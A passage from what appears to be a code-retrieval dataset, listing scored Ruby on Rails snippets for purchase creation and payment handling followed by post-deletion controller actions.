end\n end", "title": "" }, { "docid": "2d5009eb97e6bde0d1f7bad409ab8915", "score": "0.64650667", "text": "def purchase\n respond_to do |format|\n format.json do\n @transaction = Samurai::Processor.the_processor.purchase(\n params[:payment_method_token],\n 122.00, # The price for the Samurai.js Katana Sword\n {\n :descriptor => 'Samurai.js Katana Sword',\n :customer_reference => Time.now.to_f,\n :billing_reference => Time.now.to_f\n }\n )\n\n render :json => @transaction\n end\n end\n end", "title": "" }, { "docid": "ddce0de6ca3dfe26909b00f20ef55c54", "score": "0.6461546", "text": "def purchase\n # if params[:token].nil? or params[:payer_id].nil?\n # redirect_to home_url, :notice => \"Sorry! Something went wrong with the Paypal purchase. Please try again later.\"\n # return\n # end\n\n # purchase_params = get_purchase_params(@cart, params)\n # purchase = EXPRESS_GATEWAY.purchase(@cart.price_in_cents, purchase_params)\n\n # if purchase.success?\n # notice = \"Thanks for shoping! Your purchase is now complete!\"\n # else\n # notice = \"Sorry! Something went wrong while we were trying to complete the purchase with Paypal. Here's what Paypal said: #{purchase.message}\"\n # end\n\n # creating order temporarily\n create\n end", "title": "" }, { "docid": "2d29f06c0b727e72a840f40c7fadbe2b", "score": "0.64574164", "text": "def purchase_params\n params.require(:purchase).permit(:purchaser_name, :item_description, :item_price, :purchase_count, :merchant_address, :merchant_name)\n end", "title": "" }, { "docid": "4d4badaf41431b582faffd02db20bc9b", "score": "0.6450669", "text": "def purchase_params\n params.require(:purchase).permit(:user_id, :product_id)\n end", "title": "" }, { "docid": "1cc9314263822e2693c5c94ae68fb6f2", "score": "0.64345944", "text": "def create\n @invoice = Invoice.find(params[:invoice_id])\n @purchase = Purchase.new(purchase_params)\n @purchase.invoice = @invoice\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to @invoice, notice: \"Purchase was successfully created.\" }\n format.json { render :show, status: :created, location: @invoice}\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "250615ffff9f72cef29b176d1d9e4064", "score": "0.64252037", "text": "def create\n buyer = Person.find(params[:purchase][:person_id])\n offer = Offer.find(params[:purchase][:offer_id])\n product = Product.find(params[:purchase][:product_id])\n params[:purchase][:buyer] = buyer\n params[:purchase][:offer] = offer\n params[:purchase][:product] = product\n @purchase = Purchase.new(params[:purchase])\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to(@purchase, :notice => 'Purchase was successfully created.') }\n format.xml { render :xml => @purchase, :status => :created, :location => @purchase }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @purchase.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15384795fec6fe05f9fcca1be57aa97f", "score": "0.64236665", "text": "def create\n @purchase = current_user.purchases.new(purchase_params)\n @purchase.cart_products = current_user.cart_products\n\n respond_to do |format|\n if @purchase.save\n MessageMailer.new_purchase_notifier(@purchase).deliver\n format.html { redirect_to @purchase, notice: 'Se ha realizado la compra con éxito.' }\n format.json { render action: 'show', status: :created, location: @purchase }\n else\n format.html { render action: 'new' }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ba99131f9de4870a4d9fd117df96722a", "score": "0.6410083", "text": "def purchase_params\n params.require(:purchase).permit(:name, :address, :nic, :phone, :total)\n end", "title": "" }, { "docid": "84a2d3d49eb3204fc0b2873a1697b704", "score": "0.64001447", "text": "def api_purchase_create\n\t\t# user token doesn't exist\n\t\t# token is test case\n\t\t# token is invalid\n\t\t# token exists\n\t\t# if playtoken doesn't exi\n\t\t@message = ''\n\t\t@success = false\n\t\tif params[:gametoken].nil?\n\t\t\t\t@message = 'a game token is required.'\n\t\t\t\treturn respond_to :json\n\t\tend\n\n\t\tif params[:productid].nil?\n\t\t\t\t@message = 'a product id is required.'\n\t\t\t\treturn respond_to :json\n\t\tend\n\t\n\t\tif Product.find_by_id(params[:productid]).nil?\n\t\t\t\t@message = 'no such product exits.'\n\t\t\t\treturn respond_to :json\n\t\tend\n\n\t\tif params[:usertoken].nil?\n\t\t\t\t@message = 'a user token is required. user is not logged in?'\n\t\t\t\treturn respond_to :json\n\t\tend\n\t\t\n\t\tif User.find_by_token(params[:usertoken]).nil?\n\t\t\t\t@message = 'no such user exists.'\n\t\t\t\treturn respond_to :json\n\t\tend\n\t\n\t\t@product = Product.find_by_id(params[:productid])\n\t\t@user = User.find_by_token(params[:usertoken])\n\t\t# at this point, we have User, the product the user want to buy,\n\t\t# and where the user is buying the stuff from\n\t\t# let's buy it\n\n\t\t# user buy it via the Stripe API\n\t\t# we will need to have\n\t\t# a Stripe customer id to buy the product\n\t\t# if not, then we need the user's credit card to credit a customer id\n\t\t# so we can charge him or her without them submitting the credit card\n\t\t# info again\n\t\tif @user.stripe_id.nil?\n\t\t\tif params[:card].nil?\n\t\t\t\t@message = \"no credit card on file\"\n\t\t\t\treturn respond_to :json\t\n\t\t\tend\n\t\t\t#check_nil_and_respond(params[:card], \"no credit card on file.\")\n\t\t\t# passed the check, recreate credit card\t\n\t\t\tcreate_credit_card_for_user(params[:card], @user)\n\t\tend\n\n\t\t# check if the item needs a shipping address\n\t\t# if not, go directly to charging and invoice\n\t\tif params[:shipping_address_required] == 'true'\n\t\t\t@s = @user.shipping_addresses.find_by_default(true)\n\t\t\tif @s.nil?\n\t\t\t\t@message = \"no shipping address\"\n\t\t\t\treturn respond_to :json\t\n\t\t\tend\n\t\t\t#check_nil_and_respond(@s, \"no shipping address.\")\n\t\t\t@shipping_address_id = @s.id\n\t\tend\n\n\t\t@invoice = Invoice.new(\n\t\t\t\t:user_id =>@user.id,\n\t\t\t\t:product_id => @product.id,\n\t\t\t\t:shipping_address_id=> @shipping_address_id,\n\t\t\t\t:stripe_id =>@user.stripe_id,\n\t\t\t\t:price => @product.price\n\t\t)\n\n\t\tif @invoice.save\n\t\t\t# TODO: send receipt email\n\t\t\tcharge_customer(@user, @product)\n\t\t\t@message = \"purchase success\"\n\t\t\t@success = true\n\t\t\treturn respond_to :json\n\t\telse\n\t\t\t@message = \"failed to create invoice, please try again\"\n\t\t\treturn respond_to :json\n\t\tend\n\tend", "title": "" }, { "docid": "61371d69771977ebb0fb25b4cb5efe72", "score": "0.63940036", "text": "def create\n @purchase = Purchase.new(purchase_params)\n if(params[:client].present?)\n @client = User.find(params[:client])\n @user = User.search_user_by_email(@client.email)\n if(@user != nil)\n @money_amount = User.sum_purchases_of_user_by_email(@user.email)+@purchase.price\n @user.update(money_amount: @money_amount)\n @purchase.user_id = @user.id\n end\n end\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to purchases_path(client: params[:client]), notice: 'Purchase was successfully created.' }\n format.json { render :show, status: :created, location: @purchase }\n else\n format.html { render :new }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8d5907bd5da848fb9012c50019a6de6f", "score": "0.63902354", "text": "def purchase\n params[\"property.ids\"].each do |x|\n # create joins\n Purchase.create(user_id: current_user.id, property_id: x)\n end\n # send user back to dashboard index\n redirect_to action: 'index'\n end", "title": "" }, { "docid": "12aa00bbc8291c8019deaa879ed70a16", "score": "0.63809854", "text": "def create\n @transaction = Transaction.new(params[:transaction])\n @transaction.save\n r = Receipt.find(@transaction.receipt_id)\n response = EXPRESS_GATEWAY.setup_purchase(100, express_options(@transaction, r))\n\n redirect_to EXPRESS_GATEWAY.redirect_url_for(response.token)\n \n end", "title": "" }, { "docid": "93acf853d2765ff70f304e040df051bc", "score": "0.63566947", "text": "def purchase_params\n params.require(:purchase).permit(:delivery, :quantity, :address, :apartment, :date, :start_time, :end_time,\n :comments, :payment, :product_id)\n end", "title": "" }, { "docid": "1d4d3ee8ce3252de2b36edb8e66057e2", "score": "0.6346807", "text": "def create\n @warrant_purchase = WarrantPurchase.new(params[:warrant_purchase])\n\n respond_to do |format|\n if @warrant_purchase.save\n format.html { redirect_to @warrant_purchase, notice: 'Warrant purchase was successfully created.' }\n format.json { render json: @warrant_purchase, status: :created, location: @warrant_purchase }\n else\n format.html { render action: \"new\" }\n format.json { render json: @warrant_purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4cb796212f68cad3ed1f93843051705a", "score": "0.634432", "text": "def create\n @purchase = Purchase.create(purchase_params)\n # render text: params.inspect\n @product = Product.find(params[:purchase][:product_id].to_i)\n @product.purchases << @purchase\n current_user.purchases << @purchase\n @new_qty = @product.qty - params[:purchase][:qty].to_i\n @product.update(qty: @new_qty)\n\n # product.qty -= params[:purchase][:qty].to_i\n @product.save\n\n # Send email to products users if quantity hits 0\n if @new_qty <= 0 # this will change to == 0 when limit is accounted for\n @prod_users = @product.purchases.map { |p| p.user }.flatten.uniq\n @prod_users.each do |user|\n UserMailer.welcome_email(user, @product).deliver\n end\n end\n redirect_to user_purchases_path(current_user)\n end", "title": "" }, { "docid": "7f93a08c624bea1380969e946d43bffd", "score": "0.6336269", "text": "def create\n if ! canedit\n redirect_to :action => 'list'\n end\n @purchase = Purchase.new(params[:purchase])\n @person = Person.find(params[:purchase][:person_id])\n @producttype = ProductType.find(params[:product_item_purchase][:product_item_id])\n @purchase.event = @event\n @purchase.person = @person\n @purchase.product_types << @producttype\n\n respond_to do |format|\n if @purchase.save\n @producttype.save\n format.html { redirect_to @purchase, :notice => 'Purchase was successfully created.' }\n format.json { render :json => @purchase, :status => :created, :location => @purchase }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @purchase.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6a88e7bcd5fa04a522bcb152dac43d33", "score": "0.6325691", "text": "def create\n @recipepurchasing = @purchasing.recipepurchasings.new(recipepurchasing_params)\n\n respond_to do |format|\n if @recipepurchasing.save\n format.html { redirect_to @purchasing, notice: 'Recipepurchasing was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "title": "" }, { "docid": "e8cd15e3913adce8a97f5448170d7afc", "score": "0.6323605", "text": "def create\n @purchase_order = PurchaseOrder.new(purchase_order_params)\n respond_to do |format|\n if @purchase_order.save\n format.html { redirect_to @purchase_order, notice: 'Purchase order was successfully created.' }\n format.json { render :show, status: :created, location: @purchase_order }\n else\n format.html { render :new }\n format.json { render json: @purchase_order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9d916a6659038c366be15330baf4f8a4", "score": "0.6319132", "text": "def purchase_params\n params.require(:purchase).permit(:address, :telephone, :product_price, :product_discount, :product_id)\n end", "title": "" }, { "docid": "aa70d836024da4d8531b58c38e00cef1", "score": "0.6287818", "text": "def add_to_purchases(purchase_record)\n @purchases << purchase_record\n end", "title": "" }, { "docid": "99ef99ab882d034a61c44b58c12de123", "score": "0.62811667", "text": "def create\n @purchase_order = PurchaseOrder.new(params[:purchase_order])\n\n respond_to do |format|\n if @purchase_order.save\n format.html { redirect_to @purchase_order, notice: 'Purchase order was successfully created.' }\n format.json { render json: @purchase_order, status: :created, location: @purchase_order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase_order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "99ef99ab882d034a61c44b58c12de123", "score": "0.62811667", "text": "def create\n @purchase_order = PurchaseOrder.new(params[:purchase_order])\n\n respond_to do |format|\n if @purchase_order.save\n format.html { redirect_to @purchase_order, notice: 'Purchase order was successfully created.' }\n format.json { render json: @purchase_order, status: :created, location: @purchase_order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase_order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fe1943796c07b87067988618565352d7", "score": "0.6270099", "text": "def purchase_params\n params.require(:purchase).permit(:item_id, :category, :quantity, :invoice_id, :price)\n end", "title": "" }, { "docid": "0eea713f6c5fc2ea1f573679ea520dcb", "score": "0.62662584", "text": "def purchase_params\n params.require(:purchase).permit(:produce_task_id, :item_id, :item_type,\n :number, :unit, :note, :way, :arrival_number,\n :price, :payable, :actual_pay, :discount, :pay_type,\n :user, :check_status)\n end", "title": "" }, { "docid": "d11d30f8a4f1fc3b078f7c39561811b0", "score": "0.6264775", "text": "def create\n @purchase = Purchase.new(purchase_params)\n @purchase.user_id = current_user.id\n @purchase.address = current_user.address\n @purchase.value = calc_total(current_user.shopping_cart)\n\n respond_to do |format|\n if current_user.check_selected_products_quantity and @purchase.save\n current_user.clear_shopping_cart(@purchase)\n current_user.add_graduation_points\n @purchase.update_user_balance(current_user.id) if @purchase.payment_method == \"Saldo\"\n if [\"approved\", \"accredited\", \"pagamento confirmado\", \"ok\", \"pagamento aprovado\"].include? @purchase.status.downcase\n @purchase.user.generate_volume(@purchase)\n @purchase.user.generate_commission(@purchase)\n\n @purchase.create_assemble_order\n @purchase.create_purchase_order\n end\n format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n # format.json { render :show, status: :created, location: @purchase }\n else\n format.html { redirect_back :fallback_location => root_path, notice: \"um ou mais itens não estão disponíveis em estoque nas quantidades selecionadas\" }\n # format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7070e97d9c8c57bc2ee3ec6a6fa51c49", "score": "0.6257245", "text": "def purchase_params\n params.require(:purchase).permit(:name, :purchaser_id, :supplier_id, :code, :discount_money, :paid, :note, :date, :time, :purchase_order_id, product_purchases_attributes: [:id, :product_id, :purchase_id, :quantity, :unit_price, :discount_percent, :discount_money, :final_price])\n end", "title": "" }, { "docid": "59c42d6b3dcad58f02de34c808f7a8bd", "score": "0.6256052", "text": "def purchase_params\n params.require(:purchase).permit(:product_id, :buyer_id, :token)\n end", "title": "" }, { "docid": "8b9dcf8100236cceb581a3557fb18119", "score": "0.6249395", "text": "def create\n @purchase_order = PurchaseOrder.new(purchase_order_params)\n @items = Item.all.order(\"part_number\")\n @suppliers = Supplier.all.order(\"name\")\n respond_to do |format|\n if @purchase_order.save\n format.html { redirect_to @purchase_order, notice: 'Purchase order was successfully created.' }\n format.json { render action: 'show', status: :created, location: @purchase_order }\n else\n format.html { render action: 'new' }\n format.json { render json: @purchase_order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "db537843926213fbd778c6b3fd9630a6", "score": "0.62475014", "text": "def create_purchase_invoice(data, _options = {})\n lines = data.delete(:line_items)\n\n if lines\n data[:line_items_attributes] = {}\n lines.each_with_index do |value, index|\n data[:line_items_attributes][index] = value\n end\n end\n\n post 'purchase_invoices', purchase_invoice: data\n end", "title": "" }, { "docid": "a7fc95b95066d3ff5c51a0fa551edf4d", "score": "0.62450093", "text": "def purchase_params\n params.require(:purchase).permit(:name, :description, :price, :qty, :merchant_address, :merchant_name)\n end", "title": "" }, { "docid": "3950705219f6ddf0e3dec63075a0a685", "score": "0.6242871", "text": "def purchase_params\n params.require(:purchase).permit(:user_id, :payment_method, :value, :address_id, :status, :comprovant, :kind, :status_detail)\n end", "title": "" }, { "docid": "d385e35bb33f5c37e2d07cbcaa14bae3", "score": "0.6241841", "text": "def purchase_params\n params.require(:purchase).permit(cart_ids: [])\n end", "title": "" }, { "docid": "4ffed00218fa1e281b52cf6e02b0c573", "score": "0.62353617", "text": "def webhook\n payment_id= params[:data][:object][:payment_intent]\n payment = Stripe::PaymentIntent.retrieve(payment_id)\n listing_id = payment.metadata.listing_id\n user_id = payment.metadata.user_id\n\n # retrieves the listing with the id passed in through payment metadata\n listing = Listing.find(listing_id)\n listing.is_sold = true\n listing.save\n\n # creates a purchase record for the given user and listing\n Purchase.create(user_id: user_id, listing: listing)\n\n status 200\n end", "title": "" }, { "docid": "e339745bafb788c5782b9b94c737b20d", "score": "0.6231761", "text": "def create\n @purchase_order_item = PurchaseOrderItem.new(purchase_order_item_params)\n\n respond_to do |format|\n if @purchase_order_item.save\n format.html { redirect_to @purchase_order_item, notice: t('purchase_orders.success_create') }\n format.json { render :show, status: :created, location: @purchase_order_item }\n else\n format.html { render :new }\n format.json { render json: @purchase_order_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9c7d50c3624344b61abc04d1a69c6bed", "score": "0.62276316", "text": "def create\n @purchase_payment = PurchasePayment.new(params[:purchase_payment])\n\n respond_to do |format|\n if @purchase_payment.save\n format.html { redirect_to @purchase_payment, notice: 'Purchase payment was successfully created.' }\n format.json { render json: @purchase_payment, status: :created, location: @purchase_payment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase_payment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "029c917304fb3225fb15d735ffee102d", "score": "0.6225026", "text": "def purchase_params\n params.require(:purchase).permit(:name, :price, :country)\n end", "title": "" }, { "docid": "7776f4c4b56f689b7884c30d2eea7df1", "score": "0.622372", "text": "def purchase_receipts\n if authenticate\n render :json => @user.receipts_buy\n else\n error_message(\"Wrong account credentials\")\n end\n end", "title": "" }, { "docid": "158eec44a4671796ab130c9c91e483a8", "score": "0.62193", "text": "def purchase\n response = GATEWAY.purchase(price_in_cents, credit_card, purchase_options)\n # create_card_transaction(:action => \"purchase\", :amount => price_in_cents, :response => response)\n response.success?\n end", "title": "" }, { "docid": "8b09e874eecae84071e71114777c6260", "score": "0.6219062", "text": "def create\n @purchase_product = PurchaseProduct.new(purchase_product_params)\n\n respond_to do |format|\n if @purchase_product.save\n format.html { redirect_to @purchase_product, notice: 'Purchase product was successfully created.' }\n format.json { render json: @purchase_product, status: :created, location: @purchase_product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase_product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6b3c342308d103415b1afec749cba6f5", "score": "0.6216954", "text": "def create \n request = OrdersGetRequest::new(get_id)\n \n begin\n response = PayPalClient::client.execute(request) \n\n campaign = Campaign.find response.result.purchase_units[0].custom_id\n\n order = Order.new\n order.email = response.result.payer.email_address\n order.name = [response.result.payer.name.given_name,response.result.payer.name.surname].join(' ')\n order.price = response.result.purchase_units[0].amount.value\n order.order_id = response.result.id\n order.campaign_id = campaign.id\n order.save\n\n numbers = order.price / campaign.price\n\n while numbers >= 1\n item = Item.new\n item.order_id = order.id\n item.save\n numbers = numbers - 1\n end\n \n OrderMailer.confirmation(order).deliver_later!\n\n render json: { order: order } \n rescue PayPalHttp::HttpError => ioe\n puts ioe.status_code\n puts ioe.headers[\"debug_id\"]\n end\n end", "title": "" }, { "docid": "78576552def1aae88fd9ec1a40d4fe06", "score": "0.6216895", "text": "def create\n @purchase = Purchase.new(params[:purchase])\n\t\n\t@purchase.food = @purchase.food.downcase\n\t@purchase.user = current_user.email\n\t@purchase.date = Time.now\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to(@purchase, :notice => 'Purchase was successfully created.') }\n format.xml { render :xml => @purchase, :status => :created, :location => @purchase }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @purchase.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e18609d7a04ef71fb69aeb857f9ed87", "score": "0.62147075", "text": "def create\n @purchases_combo = PurchasesCombo.new(purchases_combo_params)\n\n respond_to do |format|\n if @purchases_combo.save\n format.html { redirect_to @purchases_combo, notice: 'Purchases combo was successfully created.' }\n format.json { render :show, status: :created, location: @purchases_combo }\n else\n format.html { render :new }\n format.json { render json: @purchases_combo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2e83f9a40998df7a1f847376048d7abe", "score": "0.6210108", "text": "def purchase\n\t\t\n\tend", "title": "" }, { "docid": "1ae76689fd08303540ae7f968a339e18", "score": "0.62092197", "text": "def create\n @consumer_purchase = ConsumerPurchase.new(consumer_purchase_params)\n\n respond_to do |format|\n if @consumer_purchase.save\n format.html { redirect_to @consumer_purchase, notice: 'Consumer purchase was successfully created.' }\n format.json { render :show, status: :created, location: @consumer_purchase }\n else\n format.html { render :new }\n format.json { render json: @consumer_purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "98ccb80b1cc3b281f6b6799d81f3cffa", "score": "0.61936146", "text": "def purchase_params\n params.require(:purchase).permit(:wholesaler, :item_name, :quantity, :unit_of_measure, :batch_number, :expiry_date, :date_of_purchase, :total_price)\n end", "title": "" }, { "docid": "afb48ce4eec0abd822ea5487e411c530", "score": "0.61761004", "text": "def make_new_purchase!(billing_info)\n # raise ScriptError, \"SHOULDNT HIT HERE!\"\n purchase = Purchase.create!(subscriber: self)\n response = handle_request!(billing_info, purchase)\n response.update_purchase!\n update_customer_from_response!(response) if response.success?\n update_subscriber!(response)\n purchase\n end", "title": "" }, { "docid": "8ce34a8eccc91a3822d0860e58f46099", "score": "0.6176091", "text": "def purchase_params\n params.require(:purchase).permit(:_destroy, :supplier_id, :invoice_number, :total_amount,\n add_items_attributes: [:id, :product_id, :purchase_id, :quantity, :total_product_amount, :price, :expiration_date, :second_expiration_date ] )\n end", "title": "" }, { "docid": "1d6c75fb480aedaf1f937121a07c6d19", "score": "0.6172832", "text": "def webhook\n payment_intent_id = params[:data][:object][:payment_intent]\n payment = Stripe::PaymentIntent.retrieve(payment_intent_id)\n listing_id = payment.metadata.listing_id\n buyer_id = payment.metadata.user_id\n\n Purchase.create(user_id: buyer_id, \n listing_id: listing_id, \n payment_intent_id: payment_intent_id, \n receipt_url: payment.charges.data[0].receipt_url\n )\n #changes listing status to purchased\n listing = Listing.find(listing_id)\n listing.update(status: 3)\n end", "title": "" }, { "docid": "ee2d755dce969a8079971ecc3ba3e829", "score": "0.61700654", "text": "def purchase_params\n params.require(:purchase).permit(:customer_name, :product_name, :product_model, :price, :purchase_date, :maintnance_date)\n end", "title": "" }, { "docid": "7d93352022047ffe6f4989cda49cb899", "score": "0.61623514", "text": "def purchase_params\n params.require(:purchase).permit(:quantity, :points, :using_cod)\n end", "title": "" }, { "docid": "90e4f42a36b15a3343f4bd6eb978a12f", "score": "0.61518466", "text": "def purchase_params\n params.require(:purchase).permit(:title, :price, :purchased, :student_id, :updated_at)\n end", "title": "" }, { "docid": "42176f73d953425d088149cc3f71c1e8", "score": "0.61439836", "text": "def purchase!\n handle_payment_preconditions { process_purchase }\n end", "title": "" }, { "docid": "9a269a3a69fa7e61f1080a68cd560a75", "score": "0.6140494", "text": "def create\n _params = purchase_params\n if validate_params(_params) then\n purchase = Purchase.new(_params)\n purchase.user_name = current_user.name\n products = []\n ids = _params['product_ids']\n product_num = ids.length\n product_num.times do |i|\n product = Product.find(ids[i])\n puts _params['quantities'][i].to_f\n puts product.in_stock \n if (product.in_stock < _params['quantities'][i].to_f)\n redirect_to '/purchases/new', notice: 'الكمية المتاحة بالمخزن من ذلك المنتج أقل من المطلوب'\n return\n end\n products.push product\n end\n purchase.price = 0\n purchase.prices.each_with_index do |price, i|\n purchase.price = purchase.price + price.to_f * purchase.quantities[i].to_f\n end\n if _params['paid_amount'].present? && purchase.price < _params['paid_amount'].to_f\n redirect_to '/purchases/new', notice: 'لا يمكن أن يكون المبلغ المدفوع أكبر من السعر الكلي'\n return\n end\n if (purchase.payment_state == \"آجل\")\n purchase.debt = purchase.price_with_taxes - params[\"paid_amount\"].to_f\n else\n purchase.debt = 0\n end\n if purchase.save\n invoice = Invoice.create!({purchase_id: purchase.id})\n permission = ReleaseProductPermission.create!({transaction_id: purchase.id})\n purchase.invoice_id = invoice.id\n purchase.save\n if (purchase.price_with_taxes != purchase.debt)\n update_treasury(purchase.payment_method, purchase.price_with_taxes - purchase.debt, PURCHASE, purchase.id, \"عملية بيع\", 0, params[\"cheque_num\"], purchase.date_added)\n end\n # if purchase.debt == 0\n # add_tax(purchase.payment_method, PURCHASE, purchase.id, purchase.price)\n # end\n # treasury = Treasury.first\n # if (purchase.payment_method == \"cash\")\n # treasury.cash = treasury.cash + purchase.price - purchase.debt\n # else\n # treasury.bank = treasury.bank + purchase.price - purchase.debt\n # end\n client = Client.find(purchase.client_id)\n client.debt = client.debt + purchase.debt\n products.each_with_index do |product, i|\n product.in_stock = product.in_stock - purchase.quantities[i].to_f\n product.save\n end\n\n # treasury.save\n client.save\n PurchasePaymentDetail.create()\n\n redirect_to \"/permission/purchase/#{permission.id}/#{invoice.id}\"\n end\n else\n redirect_to '/purchases/new', notice: 'حدث خطأ في معالجة الطلب. برجاء مراجعة المدخلات'\n end\n end", "title": "" }, { "docid": "8abb43752956cafa2fea79740cfb10aa", "score": "0.6136908", "text": "def create\n @daily_purchase = DailyPurchase.new(daily_purchase_params)\n\n respond_to do |format|\n if @daily_purchase.save\n format.html { redirect_to @daily_purchase, notice: 'Daily purchase was successfully created.' }\n format.json { render :show, status: :created, location: @daily_purchase }\n else\n format.html { render :new }\n format.json { render json: @daily_purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85e9f7b2dc3c42a8f7eac21190cc8f0b", "score": "0.6133375", "text": "def purchase_params\n params.require(:purchase).permit(:when, :note, :amount, :drug_id)\n end", "title": "" }, { "docid": "522f3eee82efbe35a00c63f24c1f5175", "score": "0.6132394", "text": "def purchase\n\n print(\"Purchase Call Params!: \" + params )\n\n end", "title": "" } ]
0e0df32124b9f4734b93ebd009f47cc0
DELETE /posts/1 DELETE /posts/1.json
[ { "docid": "e5201d57ecb7640097044f97fadc907d", "score": "0.0", "text": "def destroy\n @post.update(status: \"hidden\")\n respond_to do |format|\n format.html { redirect_to posts_url, notice: 'Post ha sido borrado.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "d2938d0d96fc4adb30b185ea6e647cdf", "score": "0.80469173", "text": "def delete\n render json: Post.delete(params[\"id\"])\n end", "title": "" }, { "docid": "f027d5be71066122f716d1cbeb3b697e", "score": "0.7690333", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a04afc2da4bb25864fb0b761bb7bb1de", "score": "0.75841975", "text": "def destroy\n post = Post.find(params[:id])\n if post.destroy\n render json: {status: \"success\", data: {id: params[:id]}}, status: :ok\n end\n end", "title": "" }, { "docid": "67a2ed121bb61b162f7f0d67fc818b21", "score": "0.75804514", "text": "def destroy\n @post.destroy\n render json: {}, status: :ok\n end", "title": "" }, { "docid": "7f1df37d85c5d7201c8b1674b49d45a6", "score": "0.75681144", "text": "def destroy\n if @post.destroy\n render json: {\n post: @post\n }, status: :ok\n else\n render status: :bad_request\n end\n end", "title": "" }, { "docid": "488e860fbdb19cb16785cb912efd8cad", "score": "0.7505019", "text": "def destroy\n @api_v2_post = Post.find(params[:id])\n @api_v2_post.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v2_posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "317625fb800972aba70cd4947824e9ae", "score": "0.7503738", "text": "def destroy\n @api_v1_post.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_posts_url, notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4a3618437cb8a62406305a520a409b02", "score": "0.74750906", "text": "def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "38a903975e57806528c3164816261b72", "score": "0.74673706", "text": "def destroy\n authenticated\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3debdf024135ffb2f0781538656c3ed5", "score": "0.74650943", "text": "def destroy\n # @post = Post.find(params[:id])\n # @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "b619d4f1d10e215eef78cfbcb00d7354", "score": "0.7464916", "text": "def destroy\n @post.destroy\n\n json_response(@post)\n end", "title": "" }, { "docid": "9c57b642f2ac482343e24767b8ef951d", "score": "0.7459263", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "9c57b642f2ac482343e24767b8ef951d", "score": "0.7459263", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "9c57b642f2ac482343e24767b8ef951d", "score": "0.7459263", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "9c57b642f2ac482343e24767b8ef951d", "score": "0.7459263", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "a0d274f46f2b3d34dbaf524f350c9d97", "score": "0.7457985", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a0d274f46f2b3d34dbaf524f350c9d97", "score": "0.7457985", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a0d274f46f2b3d34dbaf524f350c9d97", "score": "0.7457985", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a0d274f46f2b3d34dbaf524f350c9d97", "score": "0.7457985", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a0d274f46f2b3d34dbaf524f350c9d97", "score": "0.7457985", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n 